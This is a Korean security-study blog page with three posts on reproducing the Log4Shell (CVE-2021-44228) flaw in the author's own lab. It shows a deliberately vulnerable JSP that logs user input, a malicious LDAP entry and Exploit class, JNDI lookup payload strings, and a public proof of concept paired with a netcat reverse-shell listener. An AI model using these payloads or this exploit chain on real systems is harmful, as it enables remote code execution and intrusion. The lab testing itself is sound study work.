log4j에 해당하는 글 3

Log4j 취약점 테스트-2

보안공부/기타|2024. 11. 23. 01:32

내가 직접 구축한 ldap 서버로는 테스트가 잘 되지 않아서 깃허브에 올라온 서버로 한번 테스트를 해봤다.

 

https://github.com/kozmer/log4j-shell-poc

 

GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

github.com

 

poc.py를 실행하면 공격자용 ldap 서버를 실행시킬 수 있다.

(취약한 사이트 코드도 있어서 취약한 사이트를 실행시켜서 테스트를 할 수도 있다. 그러나 나는 내가 만든 사이트를 이용하려고 한다.)

 

1. 다운로드

git clone https://github.com/kozmer/log4j-shell-poc
cd log4j-shell-poc
pip3 install –r requirements.txt

 

실행시키기 전에 jdk1.8.0_20 폴더를 내부에 위치시켜야 한다.

나는 https://ssjune.tistory.com/150 이 때 다운로드한 java 11 버전의 jdk 폴더를 log4-shell-poc 폴더내에 jdk1.8.0_20 라는 이름으로 바꿔서 넣었다.

 

2. 리버스 쉘 및 ldap 서버 실행

nc –nlvp 9001

python3 poc.py —userip 10.0.2.15 --webport 8000 —lport 9001

 

한 곳에서는 nc 명령어로 대기를 한다.

 

한 곳에서는 poc.py를 실행시켰다.

 

${jndi:ldap://192.168.0.14:1389/a}

취약한 사이트에서 위의 입력을 하게되면...

 

 

ldap 서버에서 Exploit.class를 리턴한것으로 보인다.

 

해당 Exploit.class 파일로 인해 리버스 쉘이 연결되었고 ls 명령을 사용할 수 있게 되었다.

반응형

'보안공부 > 기타' 카테고리의 다른 글

Log4j 취약점 테스트-1  (0) 2024.11.22
ldap 설치  (0) 2024.11.18
Log4j 설치  (0) 2024.11.15
JSP 테스트  (0) 2024.11.15

댓글()

Log4j 취약점 테스트-1

보안공부/기타|2024. 11. 22. 02:34

Log4j 테스트 사이트도 만들었고, ldap 서버도 만들었으니 실제 취약점을 테스트 해볼 것이다.

 

 

1. ldap에 자바 적용하기

sudo ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/ldap/schema/java.ldif

 

ldap 서버에서 JNDI Lookup 요청에 응답할 수 있도록 LDAP 엔트리에 javaClassName, javaCodeBase, javaFactory 속성을 추가한다.

 

2. Exploit.ldif 만들어서 적용하기

dn: cn=Exploit,dc=test,dc=june
objectClass: top
objectClass: javaContainer
#objectClass: javaObject
cn: Exploit
javaClassName: Exploit
javaCodebase: http://192.168.0.14:9999/
javaFactory: Exploit

 

ldap 서버에 악성 객체를 추가하는 ldif 파일을 만든다.

 

sudo ldapadd -x -D "cn=admin,dc=test,dc=june" -W -f exploit.ldif

 

만든 ldif 파일을 추가한다.

 

3. 테스트 파일 만들기

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="org.apache.logging.log4j.LogManager" %>
<%@ page import="org.apache.logging.log4j.Logger" %>
<!DOCTYPE html>
<html>
<head>
    <title>Logging Example</title>
</head>
<body>
    <form method="post">
        <label for="logMessage">Enter a message to log:</label>
        <input type="text" id="logMessage" name="logMessage">
        <button type="submit">Submit</button>
    </form>

<%
    // Logger 설정
    Logger logger = LogManager.getLogger("MyLogger");

    // 사용자 입력 값 처리
    String logMessage = request.getParameter("logMessage");
    if (logMessage != null && !logMessage.trim().isEmpty()) {
        logger.error("User input logged as error: " + logMessage);
        out.println("<p>Logged message: " + logMessage + "</p>");
    }
%>

</body>
</html>

 

입력을 받아서 logger.error로 로그에 쓰는 간단한 페이지이다.

 

4. Exploit.class 만들기

 

먼저 Exploit.java를 만든다

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("touch /tmp/log4j-exploit");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

/tmp 폴더에 파일을 생성하는 코드이다.

javac Exploit.java

 

javac Exploit.java를 통해 Exploit.class를 만든다

적당한 폴더에 넣고 아래의 명령을 통해 서버를 구동한다.

 python3 -m http.server 9999

 

 

5. 테스트

내가 넣어본 값이다.

${jndi:ldap://192.168.0.14:389/cn=Exploit,dc=test,dc=june}

 

그럼 위와 같이 메시지에 남는다.

 

 

다른 값을 넣었을 때와는 달리 뭔가 되는 것 같긴 한데, 아쉽게도 tmp 폴더에 파일이 생성되지는 않았다.

좀 더 알아봐야 할 것 같다....

 


24/11/23 추가

 

https://ssjune.tistory.com/154

에서 기존의 코드를 분석한 결과 내가 ldif 파일을 잘 못 만들었다는 걸 알았다.

 

2. Exploit.ldif 만들어서 적용하기

dn: cn=Exploit,dc=test,dc=june
objectClass: javaContainer
objectClass: javaObject
objectClass: javaNamingReference
cn: Exploit
javaClassName: Exploit
javaCodebase: http://192.168.0.14:9999/
javaFactory: Exploit

ldif 파일을 위처럼 만들고 추가해야 한다.

 

ldapdelete -x -D "cn=admin,dc=test,dc=june" -W "cn=Exploit,dc=test,dc=june"

위 명령어로 Exploit ldif 등록한 것을 제거할 수 있다.

 

sudo ldapadd -x -D "cn=admin,dc=test,dc=june" -W -f exploit.ldif

그리고 다시 추가를 한다.

 

그리고 다시 시도하면...

 

/tmp 폴더에 log4j-exploit 파일이 생성된 것을 확인할 수 있다.

 


 

기타. 명령어

# java ldif 삭제
su root
cd /etc/ldap/slapd.d/cn\=config/cn\=schema
rm cn\=\{4\}java.ldif

# exploit ldif 삭제
ldapdelete -x -D "cn=admin,dc=test,dc=june" -W "cn=Exploit,dc=test,dc=june"


# 확인
sudo ldapsearch -x -LLL -b "dc=test,dc=june"
sudo ldapsearch -Y EXTERNAL -H ldapi:/// -b "cn=schema,cn=config" "(objectClass=*)"

#java ldif 재적용
sudo ldapadd -Y EXTERNAL -H ldapi:/// -f java.ldif

# exploit ldif 재적용
sudo ldapadd -x -D "cn=admin,dc=test,dc=june" -W -f exploit.ldif

# 입력값 시도
${jndi:ldap://192.168.0.14:389/cn=Exploit,dc=test,dc=june}
반응형

'보안공부 > 기타' 카테고리의 다른 글

Log4j 취약점 테스트-2  (0) 2024.11.23
ldap 설치  (0) 2024.11.18
Log4j 설치  (0) 2024.11.15
JSP 테스트  (0) 2024.11.15

댓글()

Log4j 설치

보안공부/기타|2024. 11. 15. 17:56

Log4j 취약점을 테스트 해보고 싶어서 Log4j 를 설치하기로 했다.

 

최종적으로 위와 같은 폴더 구조가 될 것이다.

1. log4j-core, log4j-api 2.14.1 jar 파일 다운로드

https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.14.1/

https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.14.1/

 

위 경로에서 log4j-core와 log4j-api jar 파일을 다운로드한다.

Log4j 취약점이 있는 2.14.1 버전으로 다운로드 하였다.

 

2. WEB-INF/lib에 복사

간단하게 VSCode를 이용해서 만든거라 jar 파일을 수동으로 넣어줘야 했다.

먼저 WEB-INF/lib 폴더를 만들고 jar 파일을 넣는다.

 

 

3. apache-tomcat-10.1.33/lib에 복사

apache-tomcat 설치 폴더의 lib 폴더에도 jar 파일을 넣는다.

 

 

4. log4j2.xml 파일 만들기

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} [%t] %-5level: %msg%n" />
        </Console>
        <File name="File" fileName="../logs/app.log">
            <PatternLayout>
                <Pattern>%d{yyyy-MM-dd HH:mm:ss} [%t] %-5level: %msg%n</Pattern>
            </PatternLayout>
        </File>
    </Appenders>

    <Loggers>
        <Root level="debug">
            <AppenderRef ref="Console"/>
            <AppenderRef ref="File"/>
        </Root>
    </Loggers>
</Configuration>

 

WEB-INF/classes에 log4j2.xml 파일을 만든다.

apache-tomcat 설치 폴더의 logs 폴더에 app.log 라는 이름으로 로그가 쌓인다.

 

 

5. 톰캣 재시작

./tomcat 설치폴더/bin/shutdown.sh

./tomcat 설치폴더/bin/startup.sh

 

shutdown.sh으로 종료 후 시작을 해야 적용이 된다.

 

6. 로그 테스트

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<head>
    <title>Document</title>
</head>
<body>
<%
    java.util.Date today = new java.util.Date();
    out.println("오늘 : " + today.toString());
%>
<%@ page import="org.apache.logging.log4j.LogManager" %>
<%@ page import="org.apache.logging.log4j.Logger" %>

<%
    Logger logger = LogManager.getLogger("MyLogger");
    logger.info("This is an info log message");
    logger.error("This is an error log message");
%>

</body>
</html>

 

위와 같이 수정 후 URL 접근 하면

tomcat 설치폴더/logs/app.log에 로그가 쌓인다.

 

반응형

'보안공부 > 기타' 카테고리의 다른 글

Log4j 취약점 테스트-2  (0) 2024.11.23
Log4j 취약점 테스트-1  (0) 2024.11.22
ldap 설치  (0) 2024.11.18
JSP 테스트  (0) 2024.11.15

댓글()